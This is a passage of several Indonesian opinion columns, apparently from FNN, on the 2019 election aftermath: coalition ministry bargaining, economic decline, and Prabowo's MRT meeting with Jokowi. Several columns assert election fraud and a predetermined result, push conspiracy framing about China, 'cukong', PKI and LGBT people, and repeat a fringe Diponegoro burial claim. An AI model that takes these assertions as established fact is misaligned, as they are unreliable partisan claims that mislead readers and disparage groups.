berdasarkan rumus siapa yang paling awal bersama Jokowi ini juga akan membuat beberapa partai yang terakhir merapat menjadi tidak enak body. Misalnya saja, PBB yang baru merapat, atau kemudian PAN dan Gerindra yang mungkin merapat, jelas tak mau jika merapat tanpa jatah menteri. PAN dan Gerindra memang tidak punya andil sejak awal untuk memenangkan Jokowi, tapi PAN dan Gerindra -jika jadi merapat ke Jokowi- jelas punya peran besar memberikan legitimasi bagi kemenangan Jokowi. Konon, peran ini yang semula hendak dimainkan SBY saat membawa partainya merapat ke kubu Jokowi, bahkan pasca Ani meninggal, SBY saat Lebaran secara khusus kirim putra mahkota ke petinggi kubu Jokowi. Namun nahas, rupanya era politik SBY sudah berakhir. Semua kubu, baik 02 maupun 01 justru mengambil jarak dengan Demokrat. Ketiga, jika distribusi menteri berdasarkan proposal partai pendukung ini lebih memusingkan. PKB minta 10 kursi, Nasdem minta 11, Golkar suaranya lebih besar dari PKB dan tentu layak dapat jatah lebih besar, NU minta porsi sendiri dari jalur ormas bukan melalui jalur partai (PPP atau PKB), sedangkan PDIP justru geleng-geleng kepala sebagai partai pemenang harus mengajukan berapa. Jumlah menteri di kabinet Jokowi 34 dan 8 setingkat menteri. Sekarang PKB minta 10 Nasdem minta 11 Golkar lebih dari 11, terus PDIP berapa? PPP HANURA, PBB, PSI, berapa totalnya ? Pusing kan ? Ada benarnya juga usulan Bamsoet untuk bentuk nomenklatur kementrian baru, biar semua dapat jatah. Kementrian kebahagiaan, bagi-bagi kursi, bagi-bagi menteri. Kalau perlu bikin 1000 pos kementrian baru, kan Jokowi tinggal Teken Perpres ? Tak perlu baca dulu, langsung Teken saja. Makanya, kelakuan partai saat ini persis seperti anjing yang sedang menancapkan kuku dan taring pada daging buruan hasil kecurangan. Sambil mengeram, semua saling mengklaim paling berhak. PKB jelas, akan menancapkan kuku dan taring agar saham kemenpora dan Kemenakertrans tidak luput. Sambil terus menggonggong mencari porsi tambahan. PPP terus memegang kencang kursi Menag, meski meminta sejumlah porsi tambahan tapi bagi PPP jika porsi Menag masih ditangan, lumayan lah. Golkar, terus menggigit jatah di Mensos dan Menperindustrian. Nasdem Pasti menggigit kuat dengan gigi geraham porsi Mendag dan Jaksa Agung. Nasdem, paham betul betapa legitnya 'jualan barang' dan 'jualan kasus'. Demikianlah, anjing anjing partai ini saling menggonggong agar dapat jatah tulang lebih. Mereka, terus bermanuver agar tidak dipecundangi mitra koalisi. Pertarungan Sesungguhnya di kubu Jokowi, baru dimulai saat ini. Sementara darah dan nyawa yang melayang di peristiwa 21-22 Mei, nyawa 700 lebih anggota KPPS, tidak pernah difikirkan oleh anjing-anjing partai. Itulah realitas Demokrasi yang Anda bangga-banggakan. [].

Pasca Pemilu 2019: Langit Indonesia Makin Hitam

Oleh Ahmad Sastra Jakarta, FNN - Baru di tahun 2019, pemenang pemilu versi KPU tidak disambut antusias oleh mayoritas rakyat dan negara tetangga. Tidak ada ucapan selamat yang secara resmi ditujukan kepada pemenang pilpres. Nampaknya rakyat pesimis akan terjadi perubahan yang lebih baik atas negeri ini. Proyeksi pasca pemilu 2019, Indonesia akan makin diselimuti awan hitam yang menandakan masa depan suram atas bangsa ini. Bahkan seandainya pasangan pemenang dilantik sekalipun, bukan berarti urusan negeri ini akan beres. Sebab secara ekonomi, sosial, pendidikan, budaya dan politik makin menunjukkan kondisi karut marut. Revolusi mental yang telah dicanangkan bahkan cenderung sekuleristik dan mengabaikan etika agama. Akibatnya, rakyat akan makin merasakan ketidakjelasan masa depan bangsa ini. Di bidang ekonomi, tugas berat pasangan Jokowi-Ma’ruf harus menyelesaikan setidaknya lima beban berat ekonomi yakni kenaikan utang luar negeri, merosotnya nilai rupiah terhadap dolar, defisit neraca perdagangan, rendahnya target pertumbuhan ekonomi dan lesunya perekonomian sektor riil. Berbagai kasus korupsi dalam masa pemerintahan Jokowi juga belum tertangani dengan baik, tidak seperti yang dijanjikan dalam kampanye. Menurut Pusat Kajian Anti Korupsi (pukat) Universitas Gajah Mada Yogyakarta, penanganan kasus korupsi masa Jokowi masih jauh dari harapan. Bahkan sebagaimana diketahui, justru banyak pendukung Jokowi, mulai dari menteri, anggota dewan, kepala-kepala daerah dan melibatkan 12 partai politik yang notabene mendukung Jokowi. Sistem politik transaksional padat biaya ala demokrasi justru telah menyeret bangsa ini dalam kubangan dalam jerat korupsi, kolusi dan nepotisme. Periode kedua, belum ada tanda-tanda korupsi akan berkurang, bisa jadi malah tambah parah. Dalam bahasa Ahmad Syafii Maarif, demokrasi itu cacat dan banyak bopengnya. Maarif membeberkan gambaran demokrasi yang tak kunjung menemukan bentuk yang memuaskan. Diakui bahwa demokrasi merupakan sistem politik yang sarat dengan praktek politik uang (money politic). Bahkan demokrasi juga jauh panggang dari api soal pemerataan kesejahteraan rakyat. Dalam hal pemerataan kesejahteraan rakyat, bagi Syafii, demokrasi sangat mengecewakan. Indonesia akan terus bergelut dan berputar dalam lingkaran setan yang melelahkan (Republika,16/04/19). Komunisme dan kapitalisme adalah dua ideologi yang penuh nafsu dan tidak punya tenggang rasa. Tuhan telah mati dalam kesadarannya. Manusia merupakan sasaran penipuan. Yang satu bangkit untuk dahaga revolusi, yang lain giat mengejar pajak. Di antara dua batu, manusia remuk binasa (Sir Muhammad Iqbal, Javid Nama, h. 52). Terbukti dalam penerapan sistem ekonomi kapitalisme demokrasi, negeri ini justru makin terpuruk dan terjerat hutang rentenir dunia yang makin menggunung hingga disebut sebagai telah mencapai level berbahaya. Bahkan di tahun 2019, pemerintah harus membayar utang yang sudah jatuh tempo sebesar 409 triliun. Dalam statistik hutang luar negeri Indonesia edisi Maret 2019 yang dirilis oleh Kementerian Keuangan dan Bank Indonesia, pemerintah mencatat ULN sebesar 383,3 miliar dolar atau setara dengan Rp. 5.366 triliun dengan kurs Rp. 14.000. Utang LN Indonesia mengalami kenaikan sebesar 77 triliun dibandingkan dengan posisi pada akhir periode sebelumnya. Hal ini terjadi karena neto transaksi penarikan ULN dan pengaruh penguatan nilai tukar rupiah terhadap dolar AS, sehingga utang dalam rupiah yang dimiliki oleh investor asing tercatat lebih tinggi dalam denominasi dolar AS. Utang LN Indonesia terdiri dari utang pemerintah dan bank central sebesar 190,2 miliar dolar (Rp. 2.663 triliun), serta utang swasta termasuk BUMN sebesar 193,1 miliar dolar (Rp. 2.703 triliun). Hal belum lagi dihitung per April disaat negeri ini menandatangani proyek OBOR China yang artinya akan menambah lagi jeratan utang LN. Kenaikan pajak akibat menggunungnya utang negara akan diikuti pula oleh PHK besar-besaran perusahaan yang tak bisa bertahan. Sementara daya beli masyarakat akan turun drastis. Konfederasi Serikat Pekerja Indonesia (KSPI) menyebut total karyawan yang kena PHK dalam kurun 2015-2018 mencapai satu juta karyawan. Perusahaan yang merumahkan karyawannya diantaranya PT Krakatau Steel (persero) Tbk, PT Holcim Indonesia Tbk dan PT Indocement Tunggal Prakasa Tbk. Menurut sosiolog muslim terkemuka, Ibnu Khaldun (1332-1406), tanda kehancuran suatu negara adalah saat negara tersebut menarik pajak yang tinggi. Masih menurutnya, suatu peradaban akan runtuh disebabkan oleh lima hal. Pertama, ketidakadilan, yang menyebabkan jarak antara orang kaya dan miskin begitu lebar. Kedua, merajalelanya penindasan, yang kuat menindas yang lemah. Ketiga, runtuhnya adab atau moralitas para pemimpin negara. Keempat, pemimpin yang tertutup, tidak bisa dinasehati, meski berbuat salah. Kelima, bencana alam besar-besaran. Ironisnya, kelima indikator ini ada di negeri ini. Kondisi ini ditambah ironi yang tak kalah berbahaya yakni bahwa skema utang luar negeri Indonesia dengan menggunakan bunga atau riba yang justru sangat dilarang oleh Islam. Bahkan jika tak mampu bayar utang, sebagaiman terjadi di negera Sri Langka, maka negara itu harus menyerahkan aset negaranya untuk dikuasai China. Allah dengan tegas mengingatkan akan bahaya riba dalam Al Qur’an : Orang-orang yang makan (mengambil) riba tidak dapat berdiri melainkan seperti berdirinya orang yang kemasukan syaitan lantaran (tekanan) penyakit gila. (QS Al Baqarah : 275). Allah begitu murka kepada praktek utang dengan skema ribawi ini, sebab selain merupakan kegagalan sistem, riba juga akan mendatangkan ketidakberkahan sosial. Maka jika kamu tidak mengerjakan (meninggalkan sisa riba), Maka ketahuilah, bahwa Allah dan Rasul-Nya akan memerangimu. dan jika kamu bertaubat (dari pengambilan riba), Maka bagimu pokok hartamu; kamu tidak Menganiaya dan tidak (pula) dianiaya. (QS Al Baqarah : 279). Hai orang-orang yang beriman, janganlah kamu memakan Riba dengan berlipat ganda dan bertakwalah kamu kepada Allah supaya kamu mendapat keberuntungan dan peliharalah dirimu dari api neraka, yang disediakan untuk orang-orang yang kafir. (QS Ali Imran : 130-131). Keterpurukan ekonomi akibat penerapan demokrasi kapitalisme akan ditambah persoalan sosial, budaya dan keagamaan akibat liberalisme dan HAM. Demokrasi liberal dengan tegas menolak hadirnya syariat Islam, tapi mendukung berbagai bentuk amoralitas seperti LGBT, seks bebas, prostitusi dan sejenisnya atas nama HAM. Menolak Islam tapi mendukung kemungkaran akan mendatangkan murka Allah atas bangsa ini. Revolusi mental yang nampaknya akan semakin menjauhkan generasi anak bangsa dari agamanya ditambah aliran Islam Nusantara yang cenderung sinkretis akan makin menambah gulita sosial negeri ini. Dengan demikian, awan hitam yang menyelimuti langit Indonesia bukan hanya karena salah urus negara akibat sistem demokrasi sekuler kapitalis, namun karena memusuhi syariat Allah dan menyalahi aturan Allah juga. Akibatnya negeri ini hanya akan mendatangkan murka Allah yang artinya tidak ada keberkahan di negeri ini. Proyeksi masa depan Indonesia pasca pemilu 2019 nampaknya akan makin suram dan gelap. (AhmadSastra,KotaHujan,09/07/19 : 06.52 WIB)

Membaca Langkah Politik Prabowo Saat Bertemu Jokowi

Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Kita bukan hanya berhak kecewa tetapi bisa menuntut tanggung jawab etis atas Prabowo kenapa sampai membuat janji “akan berjuang sampai titik darah penghabisan, tidak kenal kompromi Prabowo Subianto diundang untuk mencoba MRT oleh Presiden Joko Widodo. Dus, sebagai warga negara yang baik Prabowo, maka saat mendapat undangan dari Kepala Negara sebisa mungkin akan hadir, apalagi jika menyangkut kepentingan rakyat, bangsa, dan negara. Prabowo hanya menerima undangan, tidak mengadakan perkumpulan ataupun acara bersama. Satu hal yang ingin ditekankan bahwa tidak ada pembicaraan mengenai deal-deal politik apa pun. Karena bagaimana pun Prabowo menolak segala bentuk kecurangan. Seperti itulah narasi yang dibangun oleh Partai Gerindra. Terkadang dalam perjuangan, jalan yang harus ditempuh tidak selalu sesuai dengan perasaan dan hati. Namun demi merah putih dan bangsa Indonesia tidak ada ruang untuk perasaan pribadi. “Kami berharap seluruh pemilih Pak @prabowo dan @gerindra mempercayai keputusan dan tindakan yang dilakukan Pak @prabowo. Karena selama hidupnya Pak @prabowo tidak pernah dan tidak akan pernah mengkhianati rakyat, bangsa, dan negara,” tulis panca_pww. Benar, pertemuan Jokowi dan Prabowo di Stasiun MRT (Moda Raya Terpadu) Lebak Bulus, Jakarta Selatan, Sabtu (13/7/2019) pukul 10.00 WIB, setidaknya telah memantik kemarahan relawan dan para pendukung Prabowo pada Pilpres 2019 lalu. Dampak politik pertemuan kedua capres (saya tetap menyebut capres, karena Jokowi yang dimenangkan oleh MK dan ditetapkan KPU belum dilantik sebagai Presiden Terpilih pada Oktober 2019) sangat luar biasa Prabowo di-bully pendukungnya. Bahkan, wartawan senior sekaliber Asyari Usman sampai perlu membuat tulisan berjudul, “Inilah Induk Segala Pengkhianatan”. “Prabowo Subianto, hari ini kau khianati ratusan juta pendukungmu. Kau tusuk perasaan mereka,” tulisnya. “Dengan entengnya. Dengan mudahnya. Tanpa rasa bersalah,” lanjutnya. “Prabowo, hari ini kau hancurkan perasaan ratusan juta rakyat Indonesia. Kau mungkin punya alasan tersendiri untuk menemui dia,” ungkap Bang Asyari. “Tapi, apa pun alasan kau, pertemuan itu menyakitkan hati rakyat yang mendukungmu mati-matian. Dan memang banyak yang benar-benar mati. Hilang nyawa,” tegas Bang Asyari yang tulisannya viral di medsos dan WA Group. Bukan hanya Bang Asyari saja yang kecewa. Bahkan, wartawan senior sohib saya semasa di EDITOR Hersubeno Arief sampai menulis artikel berjudul, “Sayonara Pak Prabowo”. Hersu mengutip penggambaran narasi lukisan Pangeran Diponegoro. Lukisan penangkapan Pangeran Diponegoro beredar luas di berbagai platform media sosial. Netizen menilai kesediaan Prabowo bertemu dengan Jokowi sama dengan peristiwa ketika Pangeran Diponegoro bersedia bertemu penjajah Belanda. Netizen menyamakan, “Pertemuan di Magelang yang semula dijanjikan sebagai silaturahmi, berakhir dengan penangkapan Pangeran Diponegoro. Dia dijebak. Berakhirlah Perang Jawa selama lima tahun (1825-1830).” Benarkah peristiwa tersebut? Memang demikian yang tertulis dalam buku sejarah yang bersumber dari Belanda. Padahal, ada bukti prasasti Batu Tulis di Asta Tinggi, Kompleks Pemakaman Raja-Raja Sumenep, mencatat bahwa yang ditangkap itu Mohammad Jiko Matturi. Jiko Matturi, salah satu komandan pasukan yang “menyamar” sebagai Pangeran Diponegoro untuk memenuhi “undangan” Belanda itu. Feeling “pemberontak” yang oleh Belanda disebut Khalifatullah Ing Tanah Jawi ini bermain: Jebakan Belanda! Maka, dikirimlah Jiko Matturi yang bertugas juga sebagai telik sandi. Ingat, selama masa itu, Belanda tidak pernah melihat langsung wajah Pangeran Diponegoro. Bersamaan dengan Joko Matturi ke Magelang, Pangeran Diponegoro ke Sumenep. Di Sumenep, Pangeran Diponegoro menemui Sultan Abdurrahman, untuk meminta bantuan. Bersama Raja Sumenep inilah ia sedang menyiapkan Perang Diponegoro II. Namun, keburu ajal menjemput. Semua itu tercatat dalam prasasti di Asta Tinggi. Jika melihat fakta prasasti di Asta Tinggi itu, menjadi jelas, justru Pangeran Diponegoro yang berhasil mengelabuhi Belanda. Jadi, jasad yang dimakamkan di Makassar hingga kini adalah Mohammad Jiko Matturi, bukan Pangeran Diponegoro! Bagaimana dengan Prabowo ketika bertemu Presiden Jokowi di Stasiun MRT Lebak Bulus tersebut? Mengapa harus di area stasiun dan dalam MRT? Terlepas apakah semua ini sudah direncanakan atau tidak, Prabowo tentu sudah “berhitung”. MRT, Mari Rekonsiliasi Terbuka! Pertemuan Jokowi-Prabowo di Statiun MRT Lebak Bulus itu sudah seharusnya ditempatkan pada best interest rakyat, bangsa, dan negara. Itulah yang ingin dicapai Prabowo. Penolak rekonsiliasi itu sendiri sebagian adalah mayoritas kubu Jokowi yang takut Prabowo masuk dalam sistem dan menjadi The Real Presiden RI, seperti Luhut Binsar Panjaitan yang selama ini disebut-sebut punya kewenangan sejajar Presiden. Prasyarat rekonsiliasi yang selalu dilontarkan kubu Jokowi itu ada dua. Pertama, Prabowo Cs masuk dalam sistem; Kedua, Abolisi, amnesti, grasi, deponeering bagi semua pendukung 02 korban kriminalisasi 01. Jangan terjebak pada prasyarat parsial – individual. Kalau ada yang menolak rekonsialiasi, pertanyaannya: siapa yang menjamin tidak terjadi lagi atau semakin menggila penindasan/penzaliman terhadap rakyat-umat Islam? Siapa yang bisa menjamin kedaulatan dan kekayaan negara tidak dirampok China-Cukong-Antek? Sebab, pasca Jusuf Kalla lengser dari jabatan Wapres, tanpa eksistensi Prabowo dalam sistem pemerintahan, dipastikan penzaliman terhadap rakyat-umat semakin menggila. Perampokan kedaulatan/kekayaan negara makin menghebat. Siapa bisa mencegahnya? Oposisikah? Dalam sejarah politik Indonesia, selama ini tidak ada oposisi! Ada cara agar kedaulatan rakyat dan negara diselamatkan selain melalui rekonsiliasi? Ada! MA kabulkan Permohonan PAP Prabowo atau Revolusi! Opsi Revolusi apakah mungkin dan realistis? Rasanya tidak mungkin berjalan. Karena bakal banyak korban rakyat tidak berdosa. Demo 21-22 Mei 2019 saja “dibuat” rusuh sehingga ada korban jiwa dan “orang hilang” segala. Rakyat jadi korban! Jangan mimpi people power jika tidak ada tokoh ikon pemersatu seperti Habieb Riziq Shihab. Reformasi 98 bukan people power, tapi aksi mahasiswa yang di-design, ditunggangi agenda politik cukong-china-jenderal merah untuk menggulingkan Presiden Suharto. Saat itu Pak Harto sangat mesra dengan mayoritas Islam. Opsi lainnya adalah Rekonsiliasi. Pedoman utama dalam menentukan sikap dan pilihan adalah kepentingan terbesar rakyat, bangsa, dan negara. Hanya dengan rekonsiliasi kita tidak akan tersesat atau disesatkan. Apakah ide rekonsiliasi yang dilontarkan itu berasal dari Jokowi atau TKN paslon 01? Tidak! Bahkan, konon, Jokowi pun sebenarnya ogah rekonsiliasi, namun terpaksa dilakukan agar dia dapat tetap sebagai pemenang pilpres meski dari hasil manipulasi suara. Jika tidak ada “kekuatan besar” yang memaksa, mustahil ide rekonsiliasi dilontarkan. Pihak kekuatan besar ini memegang data dan bukti pencurangan pemilu/pilpres, namun memahami sepenuhnya Prabowo tidak realistis untuk jadi Presiden RI untuk saat ini. Sebab, stigma Prabowo terlalu buruk di mata dunia. Rekonsiliasi menjadi win-win solution. Tentu saja dengan terpenuhnya minimal 2 prasyarat tadi. Prabowo cs masuk dalam sistem; Abolisi, amnesti, grasi, deponeering semua kasus pendukung 02 korban kriminalisasi 01. Idealnya Prabowo Kepala KSP dengan kewenangan KSP seperti 2014-2015 semasa dipegang LBP. Ide rekonsiliasi ini untuk menyelamatkan posisi Jokowi, sekaligus harus mengakomodir kepentingan Prabowo dan rakyat, bangsa, dan negara di atas segalanya. Jika tidak demi rakyat, bangsa, dan negara, mending tidak usah rekonsiliasi! Anda perhatikan siapa yang panik dengan gagasan rekonsiliasi: Ki Dalang, CSIS, Negara China, Partai koalisi Jokowi kecuali PDIP, Cukong, Antek JIL, LGBT, PKI, dan lain-lain. Pemimpin sejati tahu yang terbaik bagi rakyat, bangsa, dan negara. Berani untuk tak populer karena harus mengambil keputusan terbaik. Dan, pada saat nanti, rakyat akan membuktikan sendiri bahwa keputusan itu adalah benar. Pada saat itu dukungan rakyat akan membesar dan terus membesar. Jangan dikira penyokong Jokowi berdiam diri melihat rencana rekonsiliasi ini. Mereka akan gunakan segala cara untuk menggagalkan rekonsiliasi, jika Prabowo pemegang utama kekuasaan. Politik adalah perjuangan merebut kekuasaan. Tanpa kekuasaan mustahil aspirasi rakyat bisa terwujud. Aspirasi rakyat pendukung Prabowo hanya bisa terwujud dengan Prabowo sebagai pemegang utama kekuasaan pemerintah di pemerintahan Jokowi. Prabowo akan menjadi the real president jika semua pengkhianat ditumpas. Penolakan atas rekonsiliasi oleh sebagian rakyat itu adalah hal yang wajar. Penolakan itu tetap dibutuhkan Prabowo agar seluruh prasyarat rekonsiliasi segera dipenuhi Jokowi. Bagaimana dengan oposisi jika Prabowo dan PKS masuk kabinet? Yang perlu dicatat, oposisi tidak pernah eksis dalam sistem politik kita. Yang ada hanya pseudo oposisi. Tapi, kalau mau oposisi, tinggal suruh saja PD, PAN, Hanura, PBB, dan PSI yang jadi oposan. Jika minimal 8 kursi kabinet dipenuhi, Prabowo wajib alokasikan minimal 3 untuk kader atau proksi PKS. Mengapa Prabowo perlu masuk pemerintahan? Bahwa selama ini hanya JK yang mampu menandingi kehebatan jenderal penyokong Jokowi dalam berpolitik. Politisi sipil lain memble. Terus menerus jadi korban politik jenderal penyokong Jokowi sejak Reformasi ’98. JK sudah menjadi Solusi masalah negara selama ini. Energi Rakyat Dalam perjuangan terkadang kita harus melakukan langkah-langkah yang mungkin tak cocok dengan perasaan kita sendiri maupun dengan rekan-rekan seperjuangan. Perdamaian tersebut hanya bisa terwujud jika posisi kedua pihak sama-sama kuat. Seimbang. Jika satu pihak lebih kuat dari pihak lain, maka yang terjadi adalah penguasaan, penaklukan, dan penjajahan, bukan perdamaian. Ungkapan rasa kecewa, marah, sakit hati, dan kesedihan emak-emak maupun pendukung 02, karena merasa dikhianati, itulah energi rakyat yang diusung Prabowo ke gerbong MRT untuk bertemu capres petahana Jokowi. “Jadi saya sarankan kepada kader kader struktural pro 02 nggak usah buat rasionalisasi dan pembenaran atas pertemuan MRT. Hanya agar untuk meredakan amarah emak-emak. Nggak perlu,” ujar Direktur The Global Future Institute (GFI) Hendrajit. Menurutnya, Prabowo yang dekat dengan Rachmawati Soekarnoputri, pasti bisa menghayati istilah yang kerap diungkap Bung Karno: RODINDA. Dalam perjuangan itu harus berpadu antara Romantika, Dialektika, dan Dinamika. “Kemarahan emak-emak itu adalah human passion. Gairah kemanusiaan. Romantika,” lanjut Hendrajit. Bagi para politisi yang garing dan miskin imajinasi dan citarasa, romantika kerap diabaikan. Menurutnya, masalahnya itu bukan tidak boleh ketemu, bukan tidak boleh damai, karena itu adalah kemuliaan membina hubungan kebangsaan dan silaturahmi. Tapi dalam kasus Jokowi ada masalah yang harus diselesaikan. “Ada kejahatan yang perlu klarifikasi dan ada ancaman penjajahan yang menekuk kehidupan rakyat ke depan, harus ada jaminan pembicaraan yang terbuka tentang masalah ini,” ungkap Hendrajit kepada Pepnews.com. Tetapi, Prabowo mengingkarinya, bikin pertemuan diam-diam sana-sini dengan orang yang menyakiti rakyat, sementara Prabowo dipilih mewakili rakyat untuk memperjuangkan mereka untuk atasi masalah itu tetapi dia tinggalkan rakyat pemilihnya. “Karena dia berpikir ini hanya urusan dia dengan tim kampanyenya atau bahkan hanya antara dia dengan beberapa orang dekatnya, sementara pemilihnya dicuekin. Ini masalahnya,” lanjut Hendrajit. Kita bukan hanya berhak kecewa tetapi bisa menuntut tanggung jawab etis atas Prabowo kenapa sampai membuat janji “akan berjuang sampai titik darah penghabisan, tidak kenal kompromi, lebih baik mati mulia daripada hidup dalam kehinaan dan lain lainnya”. “Ternyata cita-cita Prabowo hanya bisa ketemu Jokowi di atas kereta dan foto-foto tanpa akuntabilitas atas amanat suara pemilihnya,” tegasnya.

Pilpres = Sepak Bola Gajah?

Oleh Tjahja Gunawan (Wartawan Senior) Jakarta, FNN - Sebenarnya tidak ada yang istimewa dalam pertemuan Prabowo Subianto dengan Jokowi di Stasiun MRT Lebak Bulus, Sabtu (13/7). Peristiwa seperti ini juga terjadi lima tahun lalu saat Pilpres 2014. Sama seperti yang terjadi sekarang, lima tahun lalu pun sengketa Pilpres sempat dibawa ke MK. Bahkan ketika itu Prabowo Subianto sempat datang dan memberikan "ceramah" di depan sidang MK. Dan setelah dinyatakan kalah oleh MK, Prabowo akhirnya mau menerima kunjungan Jokowi di Jl Kartanegara Jakarta. Pertemuan politik tersebut sekaligus mengakhiri ketegangan politik yang terjadi antara pendukung dari kedua belah pihak. Demikian pula para elite politik yang sebelumnya sempat mengeras dan tegang selama pemilu, pasca pertemuan politik Prabowo-Jokowi, kembali cair. Ketika itu santer mengemuka isu akan adanya upaya penggagalan pelantikan Jokowi-Jusuf Kalla sebagai Presiden dan Wakil Presiden. Oleh karena itu, pertemuan politik antara kedua "tokoh politik" tersebut segera dirancang dan diatur sebelum acara pelantikan Presiden tanggal 20 Oktober 2014. Namun meskipun waktu itu Jokowi-Prabowo sudah bertemu dan diantara para elite politik yang berseteru sudah kembali cair dan berdamai, namun hubungan Prabowo dengan media massa masih ada ganjalan. Pada Pilpres 2014, Prabowo Subianto merasa diperlakukan tidak fair oleh media massa khususnya media mainstream. Waktu itu, Prabowo dibombardir dengan berbagai pemberitaan menyangkut HAM pada kerusuhan sosial bulan Mei 1998 serta penculikan aktivis mahasiswa. Pemihakan media massa kepada kubu Jokowi pada waktu itu sangat kentara, bahkan koran berbahasa Inggris, The Jakarta Post sampai membuat tajuk rencana berisi endorsmen khusus terhadap Jokowi. Pada saat media massa berpihak kepada Jokowi, polarisasi dalam masyarakat justru semakin tajam. Inilah benih terjadinya pembelahan dalam kehidupan masyarakat. Polarisasi ini semakin tajam ketika ada kasus penistaan Al Qur'an yang dilakukan Gubernur DKI waktu itu Basuki Tjahaja Purnama alias Ahok pada tahun 2016. Kembali kepada pertemuan Prabowo-Jokowi. Drama politik lima tahun lalu, kembali terjadi sekarang pasca Pilpres 2019. Skenarionya nyaris sama, lima tahun lalu Jokowi yang mendatangi rumah Prabowo. Kali ini mereka bertemu di Stasiun MRT Lebak Bulus. Alih-alih hendak menyatukan masyarakat yang sudah terbelah dan ingin menghilangkan istilah cebong dan kampret, pertemuan Jokowi-Prabowo di Stasiun MRT justru makin mempertajam polarisasi dalam masyarakat. Bukan hanya antara pendukung Jokowi dengan Prabowo tetapi diantara pendukung Prabowo pun terjadi perbedaan sikap yang tajam. Yakni antara mereka yang setuju dan tidak setuju dengan pertemuan Jokowi-Prabowo. Lalu masing-masing kubu pun membuat meme tentang MRT. Para pendukung kubu Jokowi tiba-tiba menyanjung Prabowo setinggi langit sambil memelesetkan MRT dengan Menyatukan Rakyat yang Terbelah (MRT). Sebaliknya para pendukung Prabowo yang tidak setuju dengan pertemuan tersebut mengartikan MRT sebagai Membuat Rakyat Terbelah (MRT). Jadi sebenarnya drama dan sandiwara politik kali ini adalah pengulangan peristiwa lima tahun lalu. Skenario dan pelakunya sama, yakni Jokowi dan Prabowo. Cuma beda pendampingnya saja, tahun 2014 Jokowi didampingi Jusuf Kalla sedangkan Prabowo didampingi Hatta Rajasa. Kini Jokowi berpasangan dengan Ma'ruf Amin sementara Prabowo menggandeng Sandiaga Uno. Tahun 2014, Prabowo tidak didukung secara massif oleh kelompok emak-emak militan dan umat Islam serta para ulama garis lurus. Bahkan dalam Pilpres 2019, Prabowo mendapat dukungan bahkan bantuan dana secara spontan dari para relawan dalam berbagai kampanyenya. Namun yang menyedihkan, dalam Pilpres kali ini, banyak korban jiwa berjatuhan. Petugas KPPS Pemilu yang meninggal dalam perhelatan demokrasi kali ini tidak kurang dari 700 orang. Yang memprihatinkan, pemerintah sama sekali tidak peduli dengan kejadian ini. Tidak ada penyelidikan dan investigasi lebih lanjut atas meninggalnya petugas KPPS tersebut. Persoalan seolah selesai begitu saja dengan pernyataan Menkes bahwa mereka meninggal akibat kelelahan. Tidak hanya itu, dalam kerusuhan 21-22 Mei 2019, juga banyak menelan korban jiwa dan orang-orang yang hilang. Dalam pelaksanaan Pilpres lima tahun lalu, juga ada kecurangan namun tidak sampai menelan korban jiwa yang banyak seperti sekarang. Setelah itu semua terjadi, tiba-tiba sekarang Prabowo bertemu Jokowi. Ah mungkin saya saja yang lebay menggunakan diksi tiba-tiba ada pertemuan itu. Sangat boleh jadi pertemuan kedua "tokoh" itupun sudah dirancang dengan rapih, sejak mereka sama-sama maju mendaftarkan diri ke KPU, bulan Agustus 2018 lalu. Ibarat sepak bola gajah, pemain dari dua kubu seolah sengit bermain di lapangan, demikian pula para penonton fanatiknya luar biasa memberikan dukungan yang kuat kepada timnya masing-masing. Namun sayang, penyelenggara pertandingan sepak bola sebenarnya sudah mengatur hasil akhir pertandingan ini. Penonton tentu saja kecewa. Patut diduga ajang Pilpres 2019 ini juga sama dengan pertandingan Sepak Bola Gajah. Pemenangnya sebenarnya sudah ditentukan. Meski demikian, masih saja ada kalangan yang penasaran sambil bertanya, sebenarnya apa sih alasan Prabowo menemui Jokowi ? Apakah karena alasan fulus, jabatan atau yang lebih bersifat personal ? Apakah Prabowo sudah tidak mempedulikan lagi besarnya pengorbanan masyarakat selama ini ? Bukan hanya tenaga dan harta tetapi juga nyawa mereka loh !. Begitulah pertanyaan masyarakat terutama dari kalangan emak-emak militan. Rupanya jangankan masyarakat, Ketua Dewan Kehormatan Partai Amanat Nasional (PAN) Amien Rais pun mengaku tak mengetahui pertemuan antara Prabowo Subianto dan Joko Widodo. "Sama sekali belum tahu. Makanya itu, mengapa kok tiba-tiba nyelonong?" kata Amien, kepada wartawan di kediamannya di Condongcatur, Depok, Sleman, Yogyakarta sebagaimana dikutip portal berita Detik. Selanjutnya Amien berjanji akan memberikan pernyataan setelah mendengar penjelasan langsung dari Prabowo. Partai koalisi Adil Makmur lainnya seperti PKS juga tidak mengetahui pertemuan Jokowi-Prabowo. Yang jelas, pertemuan itu sengaja diatur sehari sebelum acara pesta kemenangan Jokowi-Ma'ruf Amin, di Sentul City Bogor, Minggu (14/7). Tentu masyarakat yang cinta akan kebenaran dan keadilan, tidak bisa terus menerus berkutat dalam permainan kotor para elite politik ini. Kita harus bergerak maju ke depan untuk mengatur strategi perjuangan selanjutnya demi menyongsong kehidupan yang lebih baik. Wallahu a'lam.

Jokowi Dapat Semuanya, Prabowo Berikan Seluruhnya

Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Dari pertemuan Lebak Bulus (13 Juli 2019), ada pertanyaan penting: Jokowi dapat apa, dan Prabowo dapat apa? Siap yang untung, siapa yang rugi? Kalau mau dijawab singkat, itulah judul tulisan kali ini. Yaitu, Jokowi dapat semuanya, sedangkan Prabowo memberikan seluruhnya. Jokowi dapat ‘full package’ dan Prabowo menyerahkan segalanya. Yang diperoleh Jokowi dan yang diberi Prabowo barangkali tidak ternilai secara material. Maksudnya, saya tidak tahu berapa yang pantas dibayar untuk legitimasi jabatan presiden. Mau Anda sebut 25 triliun? Atau 50 triliun? Wallahu a’lam. Tapi jangan salah paham. Saya hanya mencoba menggambarkan betapa mahalnya legitimasi jabatan presiden 2019 yang diperlukan oleh Jokowi dari Prabowo. Jangan sampai ditafsirkan ada deal 25 T atau 50 T. Nanti bisa menjadi fitnah. Sekali lagi, saya hanya mencoba untuk memberikan ‘price tag’ andaikata jabatan presiden itu layak diuangkan. Sekarang, legitimasi itu telah dikatongi Jokowi dengan senyuman lepas dan penuh makna. Senyuman yang menujukkan kepuasan yang utuh. Tidak sompel. Ini bisa terjadi karena Prabowo juga menyerahkan legitimasi itu dengan ‘sepenuh hati’. Betul-betul tulus. Itu terlihat dari suasana gembira-ria. Ada puja-puji yang menyenangkan semua hadirin. Termasuklah para broker yang mencarikan legitimasi itu. Prabowo tampak ikhlas sekali menyerahkan legitimasi yang diperlukan Jokowi tsb. 